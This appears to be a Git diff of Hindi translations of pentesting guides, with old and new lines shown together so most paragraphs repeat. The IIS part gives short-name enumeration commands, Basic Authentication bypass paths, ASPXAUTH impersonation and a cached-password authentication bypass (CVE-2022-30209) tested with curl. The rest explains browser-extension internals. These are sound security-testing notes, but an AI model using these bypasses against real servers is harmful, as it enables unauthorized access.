- एक अकेला, अजीब ASPX पेज बहुत लंबे Base64/Gzip ब्लॉब्स के साथ; cookieभारी पोस्ट।
- w3wp.exe के अंदर unbacked managed modules; strings जैसे Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run।
- ट्रैफ़िक में "STAR" जैसे बार-बार आने वाले delimiters; ASPX/assemblies पर mismatched या यहाँ तक कि future timestamps।
## पुरानी IIS कमजोरियाँ जिन्हें देखना चाहिए
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **folders और files** को **enumerate** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\
इस तकनीक की मुख्य सीमा यदि सर्वर कमजोर है तो यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है।**
आप हर मिले हुए फ़ोल्डर के अंदर के **enumerate folders and files** आज़माने की कोशिश कर सकते हैं (यहां तक कि अगर यह Basic Authentication मांगता है) इस **technique** का उपयोग करके.\
यदि सर्वर vulnerable है तो इस technique की मुख्य सीमा यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों तक और फ़ाइल एक्सटेंशन के पहले 3 अक्षरों क ही खोज सकता है**
आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
मूल शोध: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
मूल रिसर्च: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
आप **metasploit** का भी उपयोग कर सकते हैं: `use scanner/http/iis_shortname_scanner`
You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
खोजे गए फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है।
खोजी गई फ़ाइलों का अंतिम नाम **find the final name** करने का एक अच्छा विचार है कि विकल्पों के लिए **ask LLMs** से पूछें, जैसा कि इस स्क्रिप्ट में किया गया है [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Basic Authentication bypass
**Bypass** एक बेसिक ऑथेंटिकेशन (**IIS 7.5**) को एक्सेस करने की कोशिश करते हुए: `/admin:$i30:$INDEX_ALLOCATION/admin.php` या `/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** करने के लिए एक basic authentication (**IIS 7.5**) को आज़माएँ और इन URL को एक्सेस करने की कोशिश करें: `/admin:$i30:$INDEX_ALLOCATION/admin.php` या `/admin::$INDEX_ALLOCATION/admin.php`
आप नए **folders** खोजने और ऑथेंटिकेशन को **bypass** करने के लिए इस **vulnerability** और पिछले एक को **mix** करने की कोशिश कर सकते हैं।
आप इस **vulnerability** और पिछले एक को **mix** करने की कोशिश कर सकते हैं ताकि नए **folders** मिलें और authentication को **bypass** किया जा सके
## ASP.NET Trace.AXD enabled debugging
ASP.NET में एक डिबगिंग मोड शामिल है और इसका फ़ाइल नाम `trace.axd` है।
ASP.NET में एक debugging mode शामिल है और उसकी फ़ाइल का नाम `trace.axd` है।
यह एक निश्चित समय अवधि के भीतर एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है।
यह किसी एप्लीकेशन से किए गए सभी अनुरोधों का एक बहुत विस्तृत लॉग एक अवधि के दौरान रखता है।
इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड शामिल हैं।
इस जानकारी में remote client IPs, session IDs, सभी request और response cookies, physical paths, source code जानकारी, और संभावित रूप से usernames और passwords भी शामिल हो सकते हैं।
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -231,17 +348,16 @@ ASP.NET में एक डिबगिंग मोड शामिल है
ASPXAUTH निम्नलिखित जानकारी का उपयोग करता है:
- **`validationKey`** (string): सिग्नेचर वैलिडेशन के लिए उपयोग करने के लिए hex-encoded कुंजी
- **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)।
- **`decryptionIV`** (string): hex-encoded initialization vector (डिफ़ॉल्ट रूप से शून्य का एक वेक्टर)।
- **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए hex-encoded कुंजी
- **`validationKey`** (string): hex-encoded key जिसे signature validation के लिए उपयोग किया जाता है
- **`decryptionMethod`** (string): (default “AES”).
- **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
- **`decryptionKey`** (string): hex-encoded key जिसे decryption के लिए उपयोग किया जाता है
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप हमले के तहत सर्वर पर **impersonate** करना चाहते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **impersonate** कर सकते हैं।\
यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया।
हालाँकि, कुछ लोग इन पैरामीटरों के **default values** का उपयोग करते हैं और **cookie the email of the user** के रूप में सेट करते हैं। इसलिए, यदि आप उसी **same platform** का उपयोग करने वाली कोई वेब साइट ढूँढते हैं जो ASPXAUTH cookie का उपयोग कर रही है और आप हमले वाले सर्वर पर उस उपयोगकर्ता के ईमेल के साथ **create a user with the email of the user you want to impersonate** कर देते हैं, तो आप संभवतः दूसरे सर्वर के cookie को पहले सर्वर में us**e the cookie from the second server in the first one** कर के उस उपयोगकर्ता की impersonate कर सकेंगे। यह attack इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया।
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग था जिसने **didn't properly check for the password given by the user**, इसलिए एक attacker जिसका **password hash hits a key** जो पहले से **cache** में है, वह उस user के रूप में login कर पाएगा।
```python
# script for sanity check
> type test.py
@ -261,4 +377,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## संदर्भ
- [Unit 42 Phantom Taurus: एक नया चीनी Nexus APT और NET-STAR Malware Suite की खोज](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass पृष्ठभूमि (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Browser Extension Pentesting Methodology
# ब्राउज़र एक्सटेंशन Pentesting Methodology
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
ब्राउज़र एक्सटेंशन JavaScript में लिखे जाते हैं और ब्राउज़र द्वारा बैकग्राउंड में लोड होते हैं। इसका [DOM](https://www.w3schools.com/js/js_htmldom.asp) होता है लेकिन यह अन्य साइटों के DOM के साथ इंटरैक्ट कर सकता है। इसका मतलब है कि यह अन्य साइटों की गोपनीयता, अखंडता और उपलब्धता (CIA) को खतरे में डाल सकता है।
Browser extensions JavaScript में लिखे जाते हैं और ब्राउज़र द्वारा बैकग्राउंड में लोड किए जाते हैं। इसका अपना [DOM](https://www.w3schools.com/js/js_htmldom.asp) होता है लेकिन यह अन्य साइट्स के DOM के साथ इंटरैक्ट कर सकता है। इसका मतलब यह है कि यह अन्य साइट्स की गोपनीयता, अखंडता, और उपलब्धता (CIA) को प्रभावित कर सकता है।
## Main Components
## मुख्य घटक
एक्सटेंशन लेआउट सबसे अच्छे लगते हैं जब उन्हें विज़ुअलाइज़ किया जाता है और इसमें तीन घटक होते हैं। आइए प्रत्येक घटक को गहराई से देखें।
Extension layouts विज़ुअलाइज़ होने पर बेहतर दिखते हैं और ये तीन घटकों से मिलकर बने होते हैं। आइए प्रत्येक घटक को गहराई से देखें।
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
प्रत्येक कंटेंट स्क्रिप्ट को **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में आता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमतियाँ नहीं होती हैं
हर content script का किसी एक **वेब पेज** के DOM तक प्रत्यक्ष पहुँच होती है और इसलिए यह **संभावित हानिकारक इनपुट** के संपर्क में आ सकता है। हालाँकि, content script के पास extension core को संदेश भेजने की क्षमता के अलावा कोई permissions नहीं होते
### **Extension Core**
एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर को होस्ट मशीन तक सीधी पहुंच नहीं होती है
extension core में extension के अधिकांश privileges/access होते हैं, लेकिन extension core केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और content scripts के माध्यम से web content के साथ interact कर सकता है। साथ ही, extension core को होस्ट मशीन तक direct access नहीं होता
### **Native Binary**
एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकारों के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है
Extension एक native binary की अनुमति देता है जो **user के full privileges के साथ host machine तक access कर सकता है।** Native binary extension core के साथ standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से interact करता है, जिसका उपयोग Flash और अन्य browser plug-ins करते हैं
### Boundaries
> [!CAUTION]
> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे।
> user के full privileges प्राप्त करने के लिए, किसी attacker को extension को यह यकीन दिलाना होगा कि वह malicious input को content script से extension's core तक और extension's core से native binary तक पास करे।
एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं
Extension के प्रत्येक component को एक-दूसरे से **strong protective boundaries** द्वारा अलग किया जाता है। प्रत्येक component एक **separate operating system process** में चलता है। Content scripts और extension cores **sandbox processes** में चलते हैं जो अधिकांश operating system services के लिए उपलब्ध नहीं होते
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ **एक ही अंतर्निहित DOM** तक पहुंच रखते हैं, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
इसके अलावा, content scripts अपने संबंधित वेब पेजों से अलग होते हैं क्योंकि वे **एक अलग JavaScript heap में चलते हैं**। Content script और वेब पेज को **एक ही underlying DOM** तक पहुँच होती है, लेकिन ये दोनों **कभी JavaScript pointers का आदान-प्रदान नहीं करते**, जिससे JavaScript functionality का leaking रोका जाता है।
## **`manifest.json`**
एक Chrome एक्सटेंशन बस एक ZIP फ़ोल्डर है जिसमें [.crx फ़ाइल एक्सटेंशन](https://www.lifewire.com/crx-file-2620391) होता है। एक्सटेंशन का कोर फ़ोल्डर के रूट में **`manifest.json`** फ़ाइल है, जो लेआउट, अनुमतियों और अन्य कॉन्फ़िगरेशन विकल्पों को निर्दिष्ट करता है।
A Chrome extension केवल एक ZIP फ़ोल्डर है जिसके पास [.crx file extension](https://www.lifewire.com/crx-file-2620391) होता है। Extension का core फ़ोल्डर की root में स्थित **`manifest.json`** फ़ाइल है, जो layout, permissions, और अन्य configuration विकल्पों को निर्दिष्ट करती है।
Example:
उदाहरण:
```json
{
"manifest_version": 2,
@ -61,7 +61,7 @@ Example:
```
### `content_scripts`
कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **एक मेल खाने वाले पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। वे **पृष्ठ के अपने स्क्रिप्ट की तरह** निष्पादित होते हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच रखते हैं।
Content scripts तब **लोड** होते हैं जब भी उपयोगकर्ता किसी मेल खाने वाले पृष्ठ पर **नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। ये पृष्ठ की अपनी scripts की तरह **निष्पादित** होते हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमानी पहुँच रखते हैं।
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Example:
}
],
```
अधिक URL शामिल करने या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग करना भी संभव है।
अधिक URLs को शामिल या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग भी किया जा सकता है।
यह एक उदाहरण सामग्री स्क्रिप्ट है जो पृष्ठ पर एक व्याख्या बटन जोड़ेगी जब [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) एक्सटेंशन के स्टोरेज से `message` मान प्राप्त करने के लिए।
यह एक उदाहरण content script है जो पृष्ठ में एक explain बटन जोड़ देगा जब [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) का उपयोग extensions storage से `message` मान प्राप्त करने के लिए किया जाएगा
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
जब इस बटन पर क्लिक किया जाता है, तो सामग्री स्क्रिप्ट द्वारा एक्सटेंशन पृष्ठों को एक संदेश भेजा जाता है, [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) का उपयोग करके। यह सामग्री स्क्रिप्ट की APIs तक सीधे पहुंच की सीमा के कारण है, जिसमें `storage` कुछ अपवादों में से एक है। इन अपवादों से परे कार्यक्षमताओं के लिए, संदेश एक्सटेंशन पृष्ठों पर भेजे जाते हैं जिनसे सामग्री स्क्रिप्ट संवाद कर सकती हैं।
जब यह बटन क्लिक किया जाता है, तो content script द्वारा [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) का उपयोग करके extension pages को एक संदेश भेजा जाता है। यह इसलिए है क्योंकि content script को APIs तक सीधे पहुँच की सीमाएँ होती हैं, जिनमें `storage` कुछ ही अपवादों में से एक है। इन अपवादों से परे की कार्यक्षमताओं के लिए, संदेश extension pages को भेजे जाते हैं जिनसे content scripts संवाद कर सकती हैं।
> [!WARNING]
> ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\
> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट्स के पास बैकग्राउंड स्क्रिप्ट्स के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है
> ब्राउज़र के अनुसार, content script की क्षमताएँ थोड़ी भिन्न हो सकती हैं। Chromium-based browsers के लिए क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और Firefox के लिए मुख्य स्रोत [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) है।\
> यह भी ध्यान देने योग्य है कि content scripts के पास background scripts के साथ संवाद करने की क्षमता होती है, जिससे वे कार्य करवा सकते हैं और उत्तर वापस भेज सकते हैं
Chrome में सामग्री स्क्रिप्ट्स को देखने और डिबग करने के लिए, Chrome डेवलपर टूल्स मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर
Chrome में content scripts को देखने और debug करने के लिए, Chrome developer tools मेनू तक पहुँचने के लिए Options > More tools > Developer tools चुनें या Ctrl + Shift + I दबाएँ
डेवलपर टूल्स प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
developer tools प्रदर्शित होने पर, **Source tab** पर क्लिक करें, उसके बाद **Content Scripts** tab चुनें। इससे विभिन्न extensions के चल रहे content scripts का निरीक्षण करने और execution flow को ट्रैक करने के लिए breakpoints सेट करने की सुविधा मिलती है।
### Injected content scripts
> [!TIP]
> ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि यह **डायनामिकली** **inject** स्क्रिप्ट्स और **programatically inject** करने के लिए भी संभव है **`tabs.executeScript`** के माध्यम से। यह वास्तव में अधिक **granular controls** प्रदान करता है।
> ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि scripts को **dynamically** वेब पेजों में **inject** करना और उन्हें **programatically inject** करना `tabs.executeScript` के माध्यम से भी संभव है। यह वास्तव में अधिक **granular controls** प्रदान करता है।
एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) की आवश्यकता होती है जिसमें स्क्रिप्ट्स को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी रूप से सुरक्षित की जा सकती हैं।
Content script के programmatic injection के लिए, extension को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) चाहिए जिसमें scripts inject किए जाने हैं। ये permissions या तो extension के manifest में **अनुरोध करके** सुरक्षित किए जा सकते हैं या अस्थायी आधार पर [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से
#### Example activeTab-based extension
#### activeTab-आधारित एक्सटेंशन का उदाहरण
```json:manifest.json
{
"name": "My extension",
@ -125,7 +125,7 @@ Chrome में सामग्री स्क्रिप्ट्स को
}
}
```
- **क्लिक पर एक JS फ़ाइल इंजेक्ट करें:**
- **JS फ़ाइल को क्लिक पर Inject करें:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **क्लिक पर एक फ़ंक्शन इंजेक्ट करें:**
- **क्लिक पर एक फ़ंक्शन इंजेक्ट करें**:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -152,7 +152,7 @@ func: injectedFunction,
})
})
```
#### स्क्रिप्टिंग अनुमतियों के साथ उदाहरण
#### scripting permissions के साथ उदाहरण
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([
@ -167,17 +167,17 @@ js: ["contentScript.js"],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
URLs को शामिल या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग करना भी संभव है।
अधिक URLs को शामिल या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग भी किया जा सकता है।
### सामग्री स्क्रिप्ट `run_at`
### कंटेंट स्क्रिप्ट्स `run_at`
`run_at`़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान है `"document_idle"`
`run_at`ील्ड नियंत्रित करता है कि **JavaScript फाइलें वेब पेज में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है
संभव मान हैं:
संभित मान हैं:
- **`document_idle`**: जब भी संभव हो
- **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले।
- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन उप-संसाधनों जैसे छवियों और फ़्रेमों के लोड होने से पहले।
- **`document_idle`**: संभव होने पर
- **`document_start`**: `css` की किसी भी फाइल के बाद, लेकिन किसी अन्य DOM के निर्मित होने या किसी अन्य स्क्रिप्ट के चलने से पहले।
- **`document_end`**: DOM पूरा होने के तुरंत बाद, लेकिन images और frames जैसे subresources लोड होने से पहले।
#### `manifest.json` के माध्यम से
```json
@ -195,7 +195,7 @@ URLs को शामिल या बाहर करने के लिए **
}
```
**`service-worker.js`** के माध्यम से
के माध्यम से **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त होते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, बिना सीधे उपयोगकर्ता इंटरैक्शन के चुपचाप कार्य करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
content scripts द्वारा भेजे गए संदेश **background page** द्वारा प्राप्त होते हैं, जो extension के components के समन्वय में एक केंद्रीय भूमिका निभाता है। खासतौर पर, background page extension के lifetime के दौरान persistent रहता है, और सीधे उपयोगकर्ता interaction के बिना सुचारू रूप से काम करता है। इसका अपना Document Object Model (DOM) होता है, जो जटिल इंटरैक्शन और state management को सक्षम करता है।
**मुख्य बिंदु**:
- **बैकग्राउंड पेज की भूमिका:** एक्सटेंशन के लिए नर्व सेंटर के रूप में कार्य करता है, विभिन्न भागों के बीच संचार और समन्वय सुनिश्चित करता है।
- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, जो उपयोगकर्ता के लिए अदृश्य है लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है।
- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा जो एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट हैं, यह सुनिश्चित करते हुए कि एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन हो
- **Background Page Role:** extension के लिए एक केंद्रीय नियंत्रण केंद्र के रूप में कार्य करता है, और extension के विभिन्न हिस्सों के बीच communication और coordination सुनिश्चित करता है।
- **Persistence:** यह हमेशा मौजूद रहता है, उपयोगकर्ता के लिए अदृश्य लेकिन extension की कार्यक्षमता के लिए अनिवार्य है।
- **Automatic Generation:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो browser स्वतः ही एक background page बना देगा। यह auto-generated page extension के manifest में निर्दिष्ट सभी background scripts को शामिल करेगा, जिससे extension के background tasks का निर्बाध संचालन सुनिश्चित होता है
> [!TIP]
> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यशील हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके
> Browser द्वारा background page को स्वचालित रूप से जनरेट करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक background scripts एकीकृत और कार्यशील हों, जिससे extension के सेटअप प्रक्रिया सरल हो जाती है
उदाहरण बैकग्राउंड स्क्रिप्ट:
उदाहरण background script:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
यह [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) का उपयोग संदेशों को सुनने के लिए करता है। जब एक `"explain"` संदेश प्राप्त होता है, तो यह [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) का उपयोग करके एक नए टैब में एक पृष्ठ खोलता है।
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
पृष्ठभूमि स्क्रिप्ट को डिबग करने के लिए, आप **एक्सटेंशन विवरण पर जा सकते हैं और सेवा कार्यकर्ता का निरीक्षण कर सकते हैं,** इससे पृष्ठभूमि स्क्रिप्ट के साथ डेवलपर टूल्स खुलेंगे:
बैकग्राउंड स्क्रिप्ट को डिबग करने के लिए आप **extension details and inspect the service worker,** पर जा सकते हैं; इससे डेवलपर टूल बैकग्राउंड स्क्रिप्ट के साथ खुलेंगे:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### विकल्प पृष्ठ और अन्य
### Options पृष्ठ और अन्य
ब्राउज़र एक्सटेंशन विभिन्न प्रकार के पृष्ठों को शामिल कर सकते हैं:
Browser extensions विभिन्न प्रकार के पेज रख सकती हैं:
- **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है
- पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**
